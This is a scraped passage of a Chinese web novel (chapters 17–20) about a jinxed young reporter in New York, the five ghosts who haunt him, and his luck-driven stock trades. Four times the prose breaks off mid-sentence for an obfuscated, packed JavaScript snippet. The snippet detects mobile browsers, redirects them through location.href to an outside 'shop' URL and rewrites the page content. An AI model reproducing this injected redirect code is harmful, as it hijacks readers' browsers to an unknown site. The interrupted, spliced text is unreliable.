大胡子哥们抱胸冷笑:“这不小心得太精准了!主编,这可是故意毁坏公司财务——” 琼·安德森咳嗽一声,那人不情不愿闭上嘴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045943|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “主编,人家辛辛苦苦整理了一下午材料,从坐下来就没动过,现在全泡汤了。”女同事经过一番努力,正式宣布电脑抢救无效。 琼·安德森对郝运道:“明天让行政给你换台新电脑。先回去吧,资料明天再整理。”眼见大伙愤愤不平,其他部门频频朝这里探头观望,特意提高声音补充道:“好了,这件事会上报行政经理,散了吧。”说完匆匆返回办公室。 大家并没有散去,反而对郝运一阵安慰。郝运顺势做了自我介绍,相互寒暄过后,又聊起早上的公车劫持事件,好奇、同情、羡慕,各人反应不同,气氛渐渐热络起来。女同事叫朱莉·安,助理编辑,一头栗色长发,知性又不失干练。年轻的长脸男人叫亚历克斯·韦德,主要跑热线新闻,要是脸短上一寸,便可跻身帅哥行列。大胡子哥们叫劳伦斯·克拉彭,摄影记者,胡子郁郁葱葱,发量却令人担忧。最年长最沉默的男人叫马丁·罗宾森,资深编辑,褐色皮肤,灰白头发,眼神犀利睿智。 头上毕竟还压着一堆工作,大家没太多时间闲聊,很快办公室只剩下噼里啪啦的键盘声。郝运不紧不慢收拾着资料,心里揣测谁会跟初来乍到的他过不去?还是单纯倒霉?不过,也不完全是件坏事,同组的四个同事都同仇敌忾一致对外,至少表面上看起来不是其中之一捣的鬼,而他则趁机和几人拉近了距离。至于下午整理的数据资料,早已在云盘备份,明天再润润色,就可以交给老板了。 这么看来,他貌似并没有什么损失,只希望行政不要把电脑赔偿算在他头上。郝运去更衣室换回休闲装,和大家打过招呼,提包下班。 回去改乘地铁,大概四十分钟路程,唯一不好的是下车还要走将近两公里的路。虽然44路是最方便的路线,但短时间内郝运不想再踏上这班公车。他租住的地方位于布鲁克林的一栋老式公寓,已经住了五年。尽管周围环境脏乱差,一到下雨天更是臭气晕天、无处下脚,不过小窝却被他改造得还算舒适,暂时没有搬家的打算。 到家已经九点半,郝运踢掉鞋子,把背包丢在单人沙发上,走进基本只容得下一人的厨房,烧水泡面。吃完面,简单洗漱一番,便一头栽到柔软的小床上。 这一天下来,累得够呛。郝运几乎是沾枕即眠,意识彻底陷入黑暗前,模模糊糊觉得忘了一件事,但他已经没有力气思考,任由意识越沉越深。 17.第 17 章 闹铃响起,郝运伸手摸索着揿掉,翻身把脸埋进枕头,可以再睡十分钟。我们都知道,这个时候的十分钟快得就像十秒钟。闹铃第二次响起时,哪怕身体恨不得长在床上,大脑也不得不清醒了。郝运睁眼看到五个围成一圈的大脑袋,还以为在做梦,赶忙重新闭上眼睛。 “小哥哥,你终于醒了,人家在这里守了你一整夜呢~~~” 那股矫揉造作的味儿,独此一家别无分店,郝运无法再自欺欺人,终于想起他忘掉的是什么。老天,这几个外国鬼还真是阴魂不散!他们究竟是怎么找到这里的?怪不得晚上睡觉的时候总觉得头顶上冷风飕飕,被五只鬼围一夜,他还能看见今天的太阳,是不是得感谢各路神仙菩萨?不,入乡随俗,应该感谢上帝、圣母玛利亚…… 要知道,郝运昨天留了心眼,只承诺在早上上车的站点碰面,却没透露住所,就怕被缠上。结果,这五只鬼竟然悄咪咪摸到他的小窝!他是不是得谢谢他们,没有大半夜叫醒他? 兵来将挡水来土掩。郝运一边做心理建设,一边缓缓睁开眼,面对五张笑得堪比太阳花的脸,把所有的意志用来控制嘴角,才勉强挤出一抹笑。“嘿,大伙早啊!” “是不是很惊喜,很意外?”中年花蝴蝶双手夸张地挥舞着。 郝运咬着牙僵笑:“真是好惊喜,好意外!呢!” 然后,就是五鬼的叽叽喳喳时间。 “你知道我们在公交车站等了你多久吗?” “等到最后一路末班车。” “我们还以为你被FBI留下了。” “差点闯进FBI大楼。” “你们可以瞬间移动?”郝运来了兴趣。这年头,做鬼的,总得有点特异功能吧。 “咳咳……” 郝运不死心:“或者其他特殊能力?” 眼见五鬼眼神闪烁,支支吾吾,顾左右而言他。郝运顿时失去兴趣。看来是他想多了,这就是五个平平无奇的外国鬼。 中年花蝴蝶俨然是小团体的领头人,生怕被打上一无是处的标签,急忙表白道:“有我们在,什么辛秘消息打探不出来?哪怕你想知道市长先生昨天晚上睡在——” “谢谢,我对别人的秘密不感兴趣。”郝运不为所动,断然拒绝,在心里补了一句——尤其对别人的床上生活。 “小哥哥,你是记者嗳。记者最重要的是什么?消息!”中年花蝴蝶苦口婆心。 郝运有一丢丢心动。有五只隐形鬼傍身,别的不说,至少不用担心素材不够。但是,一想到可能以后去哪都得带上一串尾巴,郝运马上丢掉心动。 眼见存在的唯一价值被否定,中年花蝴蝶干脆打起了感情牌,眼圈一红,抽抽搭搭,半真半假表演起来:“昨天一直等不到你,你不知道我们有多担心。天太晚,公车、地铁都停了,要不然我们肯定闯进FBI找你。后来,想着你可能会被送回家,就试着在公交车站周围的住宅区一寸一寸地搜,周围两公里都被我们找了个遍,跑了大半夜才找到这里。又担心半夜叫你,会吓到你,乖乖守到现在。” 一觉醒来看到五个大脑袋,也很吓人的,好吗?郝运在心里吐槽。不过,这五只鬼不说话的时候倒是还算斯文有礼,至少懂得不能大半夜扰人清梦。话说到这个份上,哪怕郝运仍是不待见不请自来的几个家伙,还是略微缓和了脸色,解释道:“我昨天加班到很晚,没赶上44路,改乘的地铁。” 五鬼明白这话里水分十足,面上却毫无怀疑之色,甚至集体对郝运表示同情,对无良老板深加痛斥。 中年花蝴蝶小心觑着郝运脸上的神色,见他似乎有所动摇,赶紧再接再厉:“我们没有坏心思,不过是死了这么多年,终于遇到一个能看见我们的人,一时太激动。你要是觉得我们打扰到你,我们这就走……”说着要走,却露出可怜巴巴的神色,搞得郝运差点以为自己干了什么十恶不赦的事儿。 今天走了,明天还可以再来不是?郝运才不会上这种文字游戏的当。即便悄悄搬家,也不一定能彻底摆脱他们。郝运不得不认清现实,放弃抵抗。算了,就当多几个特别的朋友,前提是他们遵守规则。想通的郝运把被子往上拉拉,天然微微上翘的唇角不由得有了笑意:“劳您几位让让,再不起床,我就要迟到了。” 五鬼整整齐齐往后退了一步,依旧目不转睛,仿佛下一秒郝运就会凭空消失似的。郝运暗自运气,好声好气道:“哥哥姐姐们,这里不是美术教室。”虽说男人被看一下不会少一块肉,但面对五双闪闪发亮的眼睛,郝运还是觉得有必要矜持一下。 唯一的女鬼脸上微微一红,转身冲出房门,丢下一句:“我去外边等着。” “哦哦哦,你先换衣服。”其余四鬼哄笑着挤出不大的房门。 郝运披着被子,跳下床,从衣柜里翻出一套干净的衣服,手脚麻利换上。“好了。”话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050837|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音刚落,五鬼争相挤进来,急切的样子仿佛终于找到宝藏的寻宝人,晚一步金币就要被抢完。 房间太小,五鬼一进来,郝运简直没有下脚之地,更别说转身了。他只好在床尾坐下,对围着他的五鬼长话短说:“说实话,昨天以前,我不相信这个世上有鬼。我不知道老天为什么单单挑中我,也不知道这项能力会保持多久。如果你们有什么未完成的心愿,在我能力范围之内,我可以帮忙。但我不希望影响到正常生活,所以,在我们进一步认识之前,必须得约法三章。” 五鬼狂点头,信誓旦旦保证:“你说,你说。别说三章,一百章也没问题。” “第一,不可以向其他鬼透露我的能力。” 五鬼相互交换眼神,露出迟疑的神色。 “你们可以来问我的意见,但没有经过我的同意,绝对不允许主动对其他鬼提及。”这是郝运的底线,不能达成一致,其他免谈。 “好,没问题。” “第二,所有的事,不能触犯法律,不能丧失原则,不能违背道德。” “应该的。” “第三,这是我的私人住所,没有我的邀请,我不希望昨晚的事情再一次发生。当然,紧急情况除外。” “不会了,不会了。” 郝运唇角的笑意加深,嘱咐道:“在我眼里,你们和正常人没什么两样,所以,有外人的时候尽量不要和我搭话,我不想被当做神经病,或者被特别关照。” “明白,明白。” “那么,今晚八点我在家等你们,今天早上先这样?”郝运对着大门做了个请的手势。 五鬼一步三回头相继穿过大门。 可算送走了,郝运擦擦额头不存在的汗珠,冲进卫生间解决生理问题。洗漱完,顾不得弄早餐,拎着包匆匆走出房门。看到巴巴守在门口没有离去的五鬼,郝运的心一下子软了。 死后没有归所,只能到处游荡,不过是一群可怜鬼罢了。郝运暗叹一声,侧身轻声邀请:“嘿,各位,最近有个片子不错,想看吗?” 五鬼欢呼一声,你挣我抢挤到五官变形,各自挑了心仪的地方,或坐或躺。郝运好笑地摇摇头,返回房间,打开电视,找到最近正热的一部电视剧,调低音量。 “下班早点回来哦~” 没娇妻等下班,有五只鬼也不赖。郝运脚步轻快地走出房门,关上锈迹斑斑的铁门,仔细锁好。 18.第 18 章 郝运预想过报社工作节奏快,做好忙碌媒体狗的准备,但现实比想象可怕。一整个上午,他都在会议室的角落里,围观各大主编、编辑、以及负责校对、排版、出版、印刷、广告的头头脑脑你来我往唇枪舌战。主编、编辑们忙着决定各条新闻的命运、地位,广告部老大见缝插针试图争取更多广告位,其他负责人则忙着确认时间节点,甚至为了几分钟、几秒钟争得面红耳赤。 买报纸的人不会想到,每一天的报纸,背后都有一场没有硝烟的战争。每一个环节的人最不愿看到的就是有人拖后腿,巴不得前边的部门越快越好,留给自己部门的时间越多越好。大家拴在一根链条上,最多容许毫秒级的卡顿,决不允许分秒级的停滞。 定好次日报纸的初稿,接下来就是部门小会。郝运有幸见到新闻一部的全体成员,连琼·安德森这个部门老大在内,一共十位。其中四位已经认识,还有四位,两男两女,各自负责一块新闻。简单认识过后,琼·安德森就开始对各人提交上来的新闻稿件进行简短有力的评定、指导,然后听取各人本周的采访计划,给予修正、指点,最后不出意外提出要针对反办公室骚扰做几期专栏。专栏由她亲自负责,组内两位编辑主导,郝运从旁协助。 等郝运重新坐回工位,已经是下午三点。不过上个洗手间,顺带泡杯咖啡的功夫,新闻一部只剩下马丁·罗宾森和朱莉·安两人。 注意到郝运回来,坐在对面的朱莉·安抬头笑道:“刚才行政给你换了台新电脑。”说着不由得面露羡慕。“这可是公司采购的最新款电脑。我手里这个还是四五年前的老破本,又卡又慢也就算了,还动不动闪退,明明保存好的文档也会莫名其妙不见。” 郝运心下诧异,故意将热腾腾的咖啡摆到最角落的位置,笑道:“那我可得小心点,万一再撒上一杯咖啡,接下来几个月只能喝西北风咯。”心里却忍不住发毛:他这样的倒霉蛋能遇到这种好事?总觉得事情不妙! 朱莉·安起身,上半身探过中间的隔板,凑近低声道:“昨天停电那会儿,我正和马丁讨论新闻,不然胆子再大,也不敢在我眼皮子底下干坏事。不过,我猜无非就是隔壁二部的某个人。当时到处乌漆嘛黑,电随时可能来,太远的根本来不及作案。” 郝运面露担忧:“我刚来,应该不会……” “二部一直被我们压一头,向来看不惯我们一部。他们昨天本来有一条重要新闻,如果没有公车劫持事件的直播,那条新闻应该能抢占蛮多热度,结果……”朱莉·安递给郝运一个你懂我懂的眼神。 “……”郝运一时无言以对。 朱莉·安将郝运的沉默当做不安,安慰道:“放心,主要还是想针对我们一部,干不过只能耍小手段搞破坏。记住,电脑里的稿件资料一定要加密保存,和其他部门闲聊的时候也要注意别被套话,人事、行政这种部门也要多加留心,谁知道谁与谁私底下有交情。” 郝运受教地点点头,一脸感激信赖,倒是看的助理·安有些不好意思。她不在意地挥挥手:“干活吧。”瞅着郝运桌上新添的一摞资料,想起刚来公司的自己也是从最基础的资料整理开始,日复一日埋在小山一样的资料堆里,单调,枯燥,无趣,多少次想要放弃,却又不甘心连一篇文章都没有见报,是马丁时不时的鼓励和指导,她才走到今天这一步。 于是,朱莉·安准备将前辈帮助晚辈的优良传统发挥下去:“我也是从这步走过来的,以后你会感激这些最乏味、最繁琐的工作,相信我。”说着还冲郝运调皮地眨眨眼。 郝运故作认真:“我会加油的!”说完禁不住笑了,露出两个浅浅的酒窝。 朱莉·安只觉受到会心一击。本来对于亚洲面孔的郝运,她只觉得小男生长得干干净净,挺斯文。然而,对方的笑容仿佛自带魔力,随着笑容扩大,整张脸顿时生动起来,那双微微眯着的猫眼更是闪闪发亮。最让人忍耐不住的,竟是那两个小小的酒窝,好想伸手戳一戳。朱莉·安捏紧双手,生怕指头不受意志的控制,当众干出丢脸的事儿。只得掩饰性地轻咳一声,慢慢坐回原位,装作投入工作。 郝运丝毫不知道他的笑容简直是个大杀器,尤其对年纪比他大的姐姐、阿姨们,几乎是无往不利。幸而他还没有发觉这项天赋技能,也不是随时随地释放技能。接下来的两小时里,郝运以惊人的阅读速度看完资料,又花了一小时做整理汇总,在六点钟将整理好资料打包发到琼·安德森的邮箱,比准点下班只晚了半个小时。 “我今天有约,先走了。” 朱莉·安只差几句就能收尾,眼睛不离电脑,冲郝运挥挥手:“明天见。” 时间还早,郝运很想去超市买点食材,亲自动手慰劳一下饥肠辘辘的肚子,可是想到开火十次事故九次的魔咒,最后还是打消念头。下了地铁,顺道在常吃的中餐厅打包了一荤一素,便匆匆往小窝赶。 还没到公寓楼下,郝运便看到小窝所在的三楼窗口有颗脑袋,很快,又整整齐齐探出四颗脑袋,拼命冲郝运挥手喊叫。郝运下意识挥手回应,刚抬起胳膊,便意识到最担心的事情发生了。幸好小巷灯光昏暗,住在这里的人整日慌慌张张只为填饱肚子,根本没工夫多关注别人一眼。 公寓楼梯间的灯常年处于失灵状态,每走一步,木质楼梯就像难堪重负似的嘎吱作响,郝运轻松避开虫蛀的脆弱地带,翘起的木板,三步并作两步冲上三楼。钥匙照例在拧到一圈半的时候卡住,郝运握住把手使劲往外一拉,咔哒一声锁舌弹开了。五鬼正堆着笑排成两队,殷勤的模样仿佛酒店迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053837|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾。如果可以,等着他的一定还有捧在手上的拖鞋、衣服、热茶。 “今天回来的挺早。” “工作顺利吗?” “同事好相处吗?” “累不累?” “……” 郝运一一作答,突然觉得叽叽喳喳貌似没有那么难以忍受。“好饿,不介意边吃边聊吧?”说着冲出包围圈,直奔单人沙发。 尽管饿得前胸贴后背,郝运却吃得慢条斯理,无非是担心呛住没人救。七岁那年曾被鸡骨头卡住差点一命呜呼,郝家餐桌上的骨头就此绝迹。外出吃饭时,郝运也非常惜命地谢绝一切带骨头的菜。今晚荤菜是鱼香肉丝,素菜是酸辣土豆丝,非常下饭。眼见郝运越吃越香,五鬼的眼神渐渐变了,如同饿狼一般。 “你们再这么看着我,我会消化不良的。”郝运说着不由得打了个嗝。 五鬼艰难别开眼,相互交换个眼神,决定不再自虐。“我们等会儿再来。” “八点吧,我要跟家里打通电话。”郝运还没说完,五鬼已经消失得无影无踪。 吃完饭,郝运瘫在沙发上,拨通郝妈的视频。郝妈几乎是立刻出现在镜头里。只见她烫着一头妈妈界流行的卷发,画着淡妆,看起来四十来岁。 “这是刚买的裙子,好不好看?”说着翻转镜头,对着镜子转了两圈,好让郝运看清杏色绣花旗袍裙的全貌。 “好看,怎么这么好看?咱俩要是走在大街上,人家一定以为你是我姐姐。” 郝妈笑得合不拢嘴:“少贫嘴,我马上五十的人了。”说着又在镜子前转了一圈,不自信地确认道:“真好看假好看?我觉得颜色太俏了,有点压不住,都怪你爸,非要怂恿我选这个颜色。真丝的,找的熟人,说是内部价,还花了好几千。要不是你爸说今年结婚二十五周年,非要给我买,我才不舍得!”郝妈妈又是嗔怪又是心疼,眉眼间却都是笑意,明显很满意这件礼物。 “我爸这几年炒股应该赚了不少,别说这一件,十件也给你买得起。” 郝妈妈翻了个大大的白眼:“那又不是他的本事,还不是沾……”说着像是害怕什么似的转开话头,“那个,我约了小姐妹喝茶,先不跟你说了。” “我爸呢?” “研究炒股大全呗!” “是不是儿子的视频?”郝爸顶着秃了一半的锃亮脑门,戴着老花镜,抱着砖头似的炒股大全冲出卧室,“等我跟儿子说两句。” “我来不及了。” “就两句。” “你不会给儿子打过去?”郝妈冲郝运挥挥手,果断挂掉视频,看也不看装相的某人,提包出门。 郝运暗自好笑,给郝爸拨了过去。迎头第一句就是:“儿子,嘿嘿,这次买哪只?” 19.第 19 章 “……”郝运觉得两人的父子情快走到头了,幽幽道:“您都不关心一下我的工作。”还不如五鬼呢。 郝爸无所谓地摆摆手:“谁知道你那工作能干多久!” “……” “说正经的,这次看中哪只了?”郝爸笑得贼兮兮。 郝运正色道:“爸,我正想跟你商量。现在我毕业了,还找到一个不错的工作,不用你们再给我生活费,这种事就到此为止吧。” 郝爸的笑僵了一瞬,很快恢复如常:“儿子,你干嘛想不开。你那体质,你又不是不知道,之前跑去店里兼职,从没干满一星期。现在这份工作看起来挺有面儿,谁知道——” 郝运满脸无奈打断郝爸:“爸,你就不能盼我点儿好?” “我就你一个儿子,能不盼你好?咱家现在又不缺钱,放过自己,也放过别人。照我说,你干脆继续回学校读研究生,读个七八年,直接读到博士,又不是供不起。” “我费了多大劲儿才毕业,还博士?我可不想给自己找不痛快。”郝运不敢再试探自个倒霉的极限。 “不想读也行。工作嘛,你就当个乐子,能干干,不能干拉倒,千万别委屈自己。人家古人还说‘读万卷书不如行万里路’,你们年轻人不都爱玩嘛,实在无聊,干脆环游西方,又不是没这个实力。”郝爸一副财大气粗的声气。 “老爸,咱家是有几栋楼,还是有几座矿,禁得起这么造?” 郝爸搓着手,笑得不怀好意:“只要咱爷俩继续打好配合,还怕造不起吗?” “……”就知道老头子心里打着小九九。“啧啧,这才几年,老爸你就被金钱彻底腐化了?你那些自力更生、艰苦奋斗的精神哪去了?” 被儿子指到脸上教育,郝爸面上挂不住,颇有点恼羞成怒的意味:“还不是你情况特殊!” “爸,我明白你的心思。你也知道,我手里搁不住多少钱,我对生活要求又不高,有吃有喝有住就够了。我这么大个人,总能混口饭吃。家里那些钱,是留给你和妈的养老钱,别想着为我打算。你们为我悬了二十多年的心,也该过点儿自己的生活。不想买新房,就把老房子好好装修一下。你们住得舒服了,我也开心。” 郝爸沉默了好一会儿,才道:“你决定了?” 郝运非常坚定:“决定了。” 郝爸咬咬牙,痛惜道:“最后一票,干完罢手。” “……”不知道的,还以为他俩是黑/道父子呢!“老爸,你是不是有什么事情瞒着我?” 郝爸满脸堆笑:“嘿嘿,什么都瞒不过儿子的眼。” “嗯哼。”郝运臭屁地抬抬下巴。 “那个,这几年亲戚朋友都知道我炒股挣了点儿钱,他们就小范围的给我封了个‘股神’。我不是想着,有钱大家一起赚,先富带动后富,所以就……就……” 郝运嘴角抽搐:“呵……呵呵……你是不是挺享受‘股神’的称号?” “我不是,我没有,别瞎说。”郝爸否认三连,“你还记得老家你大表姑家的女儿吗?” 郝运模模糊糊有点印象,小时候回家走亲戚,大表姐还给他塞过两口袋糖果瓜子。 郝爸长叹一声:“三年前确诊尿毒症,一直靠透析维持,现在等着换肾救命。你大表姑不知道从哪打听到我炒股有一手,七拼八凑凑了小十万块,指着这个凑换肾的手术费。我说借钱给他们看病,你大表姑死活不要。想想也是,借的钱终归要还,这几年不知道已经背了多少外债。一家子亲戚,总不能见死不救,我想着也不费什么事儿,就答应了。到时候要是不够,咱家再私底下添点。” 郝运沉默了一会儿:“最后一次。” 郝爸耍宝道:“我保证这次过后,金盆洗手,退出股市。” 郝运顿时哭笑不得:“等我信息。” “好嘞,儿砸。”郝爸喊得那叫一个亲热,说完正事想起来关心儿子,“你没事多出去玩玩,钱不够了随时跟爸说。人家算命先生说你的贵人在西边,你多转转才有希望遇到不是?” 郝运忍着翻白眼的冲动,无语道:“你还记着这茬儿呢?就因为算命先生一句话,我刚成年就被我妈和你火急火燎送到美利坚,过年都不让我回去。”说起来郝运就想对命运爆粗口。 之前确实没钱,机票太贵舍不得,现在有条件回去,老爸老妈又因为他体质的问题担心途中出意外,直接放下狠话,他敢回去就跟他断绝亲子关系。后来被他缠得不行,老两口说来美国看他,结果因为各种各样莫名其妙的原因到现在都没来。 其实郝运明白,老爸老妈对他的挂念比他对他们老两口的不知多出来多少倍,不过是舍不得花钱又担心他的安全。当年那算命先生的话几乎是支撑他们的最后信念,郝运也确实磕磕绊绊在美利坚活下来了,所以越发坚决不让他回去,就怕他错过命中的贵人。 可是贵人在哪呢?连个影儿都没瞧见!俗话说靠山山倒,靠人人跑,还是靠自己最稳当。他不就是靠自己从这操蛋的命运中挣出一线生机吗?! 郝运挂断视频,不由得出了神。当初投身股市,是为了凑第二年的生活费,对于那时的他来说,根本是没有选择的选择。 要说投入股市的第一笔资金还是他初到美利坚,多次尝试各种兼职未果,不得已破釜沉舟,冒险深入赌场“赢”来的。长这么大他从来没赢过,那次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057430|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“赢”也是他反复谋算曲线救国才赢的。 郝运暗中观察半年,选了一位人品经得起考验的同学一起入场打配合。那位同学就在两条街之外的名牌大学就读,但是母亲生病欠了不少医药费,拼命兼职仍入不敷出,即将面临被迫退学的窘境。 为慎重起见,避免日后被缠上的麻烦,郝运苦练化妆和变声技巧,以一身迷人的女人装扮出现在那位同学面前,展示完次次精准避开正确答案的神奇能力后,成功拉人入伙。两人挑了一个周末,乔装打扮一番各自乘车前往纽约南部两百公里的大西洋城。 去之前,两人早已约法三章,他们要装作不认识,赚够所需的钱立刻抽身离开,一旦发现不对马上分头回纽约。幸亏郝运足够小心,让搭档跟着他小输几次,再偶尔赢一票大的,有惊无险地配合着赢到目标金额。 回纽约后,两人也没有立马碰面分钱,而是过了一个星期,郝运才借着去搭档兼职的餐厅吃饭的机会,拿到事先约定好的五千美金。不是他不想多要,要的多也存不住,那位同学倒是主动提出平均分配,被他找理由拒绝了。 只是等他打开信封,发现还是多了两千美金,他立马抽出来,随手捐给孤儿院。这是他磕磕绊绊活这么大总结出来的一点生存指南,只要他先损失点什么,接下来两天就不会太倒霉。 然后郝运用这些钱在股市里试验起来,果然如他所料,只要他买入,股价立马下跌,一旦卖出,股价立即一路暴涨。然后远隔重洋的父子俩靠着秘密邮件,不定时随机挑选一只股票来进行买卖,每次郝运都小心控制着不让股价跌得太多,一来怕引起关注,二来怕散户承受不起下跌的损失。于是股市的弄潮儿们慢慢发现,大美股市时不时有只妖股出没,可惜出现的时间频率、股票的行业板块毫无规律可言。 自此学费生活费有了着落,爸妈也不用再起草贪黑省吃俭用,有心思专注自己的生活,郝运才松了一口气。他有时甚至会自嘲地想,说不定自己才是这个世界的主角,不然他身上的倒霉属性如何撬得动堂堂美市,老天爷为了难为他还真是不惜代价。幸亏他不是个怨天尤人、愤世嫉俗的人,否则随便搞点事情,也够引起动荡了。 郝运登入证券账号,闭上眼睛随便一点。好吧,竟然是斯塔克工业,这最后一票称得上戏剧性的结尾。钢铁侠家大业大,短时的股价下跌应该问题不大,何况用不了多久,便会有成倍的报酬回馈,钢铁侠好歹也是主角之一,老天爷为了弥补他的损失,身价暴涨也说不定。 郝运将股票信息、买卖时间点用加密邮件发给郝爸,也不知他的倒霉属性碰上钢铁侠的主角光环,哪一个实力更强,一时有些期待接下来的对决战。 20.第 20 章 郝运嘴角噙着微笑,正沉浸在你来我往的脑补大戏之中,眼前突然出现挤在一起的五张大脸。他吓得差点原地窜起,凝神一看是五鬼,下意识拍拍怦怦直跳的小心脏,无奈道:“你们进来怎么一点儿声音都没有?” 中年花蝴蝶委屈巴巴:“我们是鬼呀,本来就没有声音。” 行吧,这跟他看的种花国鬼片一点也不一样,人家那些鬼要么有厉害的法术,最不济也能制造点小动静吓吓人,这几只真是意想不到的平平无奇啊!不过平凡点儿也好,至少不用担心鬼性大发伤害到他。 郝运心里吐槽,面上带着歉然道:“不好意思啊,我现在还不习惯,总以为你们和我一样都是人,以后你们进门前要不先吼一嗓子,让我有个心里准备?” 五鬼点头如捣蒜。 “你们自己找个地方坐吧,不用客气。”郝运伸手请诸鬼随意。 五鬼迅速坐好(飘好)。 “说吧,你们生前还有什么未实现的心愿?”郝运也不寒暄,开门见山地问。又指着离他最近的中年花蝴蝶,“从这位先生开始,按顺序一个个说。” “我叫奥里西斯·尤金,生前是一名高定服装设计师,二十四岁已名声显耀,二十六岁开办独立工作室,想请我定制服装的名人贵妇能从纽约排到新泽西——” 眼见中年花蝴蝶,不,奥里西斯·尤金大有畅谈生前光辉岁月的架势,郝运赶紧制止道:“尤金先生,麻烦先说重点,谢谢。” 奥里西斯·尤金失望地撇撇嘴,继续臭屁道:“我这样的人早就要什么有什么,倒也没什么未了的愿望,唯一遗憾的是死得太突然,没能完成我的绝世之作。不过死都死了,也没办法,只可惜时尚界失去我这么个空前绝后的大师,审美至少要倒退五十年。”他说着耸耸肩膀,一脸可惜之色,言语间倒是颇为洒脱。 “……”这样顺风顺水的人生,郝运莫名嫉妒了。但是关于审美倒退的话,郝运坚持持保留意见,反正他没看出这位打扮得花里胡哨的家伙眼光有多前无古人后无来者。他不理某个顾影自叹的家伙,直接看向下一个年龄最大的老年鬼。 说是老年鬼,看面相也就五十左右,这个年纪最寻常的白人男性模样——头发稀疏身体发福的和气大叔。 “郝先生,您好,我叫约翰·乔治,我想请您替我给女儿传几句话。”老年鬼说着面色黯淡下来,“我是在参加女儿大学毕业典礼的路上突发事故去世的,女儿为此一直不能原谅自己,我想告诉她那天是我人生中最幸福的一天,我死的时候没有痛苦,脱离身体那一刻我的心情仍保持着无比的欢心与兴奋,我希望她能够彻底放下心结,带着我的祝福坦然地追寻新的幸福。”约翰·乔治的脸上呈现出一种独属于父亲的爱意,看着既神圣又光辉。 郝运郑重地点点头,表示收到。这一刻,他觉得见鬼似乎也不是什么坏事,帮他们安排一场迟来的道别,不仅能替死者完成遗愿,还能安慰生者,何乐而不为呢!他开始正视这项突然降临的能力。 “你帮我告诉我爸妈一声,我已经死了,不用再费劲儿找我啦!”这是一个长满青春痘看起来刚成年的红发小男鬼,口气是这个年纪特有的横冲直撞。 郝运看的出,这个红发小鬼明明心里很在乎,却要强撑着摆出无所谓的态度。这个年纪的男孩多少有些叛逆,平日里跟父母恐怕有不少冲突。听这话的意思,他的父母还在努力找他,以为儿子只是失踪不见,也就是说这小鬼死在一个无人知道的角落,连个收尸的人都没有。郝运不禁唏嘘起来,一时不知是告诉小男生的父母实情好,还是不告诉他们让其心怀一线希望更好。不过他只能抽空一个一个帮忙,到时根据情况再看吧,郝运看向在场唯一的女鬼。 女鬼三十来岁,未语先不好意思地笑笑:“郝先生,您好,那个……我其实忘记自己是谁了,想请您帮忙找回名字。” “……”好嘛!这心愿怎么一个比一个有难度,不仅要帮鬼递话儿,还要充当侦探替鬼查找身世。他这样一个天生倒霉蛋体质,小心活着已经很不容易了,还要去那么多陌生地方,想想都可怕。郝运心里觉得为难,可看着女鬼满脸希冀的模样,只好艰难点点头:“你这个心愿有点难度,我尽量吧。”幸亏他现在是报社记者,借着这个身份多少能便宜行事,不然有的头疼咯。 女鬼激动得脸都变形了,不住口地道谢。 最后一位是个二十来岁的男鬼,看起来是个沉默寡言、不苟言笑的家伙。“我叫邓肯·亨利,我答应洛奇带他去看日出。”说完只顾若有所失地盯着半空。 “洛奇是?”郝运只好问道。 “他的狗。”奥里西斯替邓肯回答,“是这样,洛奇是邓肯最亲密的伙伴,但是邓肯生前忙于工作,很少有时间陪洛奇。” 郝运点头表示理解,提前先打起预防针:“好了,你们的愿望我都收到了。你们也知道我是记者,工作忙起来不定时,我只能利用空闲时间帮你们完成心愿,但不能保证你们每一个都达成所愿。替你们传话不难,难的是怎么让你们的家人或者狗伙伴相信你们的存在,你们得提前想好取得信任的方法,还有这位忘记名字的姐姐也要试着尽可能回忆点儿线索给我。” “你把两边的手一拉,直接对话不就好了?”红发小男鬼说得直接,仿佛有些看不上郝运的多此一举。 